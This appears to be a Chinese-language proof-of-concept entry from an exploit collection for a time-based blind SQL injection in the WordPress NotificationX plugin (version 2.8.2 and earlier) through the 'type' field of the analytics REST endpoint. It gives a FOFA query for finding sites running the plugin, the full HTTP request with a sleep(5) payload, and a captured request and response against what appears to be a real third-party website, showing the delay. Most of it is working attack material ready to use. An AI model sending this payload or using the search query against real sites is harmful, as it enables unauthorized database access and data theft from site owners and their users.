

W2-1WordPress-NotificationX插件-SQL

漏洞描述：

WordPress plugin NotificationX是一个应用插件。2.8.2版本及之前 存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有 SQL 查询缺乏充分的准备，很容易通过“type”参数受到 SQL 注入攻击。

网络测绘：

fofa语法：

FOFA: body="/wp-content/plugins/notificationx"

漏洞复现：

payload:

```
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/json
```

```
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
```

效果图:

延时注入并非实际返回时间

Request

< > 数据包扫描 热加载 构造请求

1 POST /wp-json/notificationx/v1/analytics HTTP/1.1

2 Host: www.exhalejsj.com

3 User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

4 Content-Type: application/json

5

6 {"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

Responses https 16bytes / 6967ms

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Wed, 20 Mar 2024 08:00:55 GMT

4 Content-Type: application/json; charset=UTF-8

5 Connection: keep-alive

6 Vary: Accept-Encoding

7 X-Robots-Tag: noindex

8 Link: <https://www.exhalejsj.com/wp-json/>

9 X-Content-Type-Options: nosniff

10 Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages

11 Access-Control-Allow-Headers: Authorization

12 Allow: POST, PUT, PATCH

13 Content-Length: 16

14

15 {"success":true}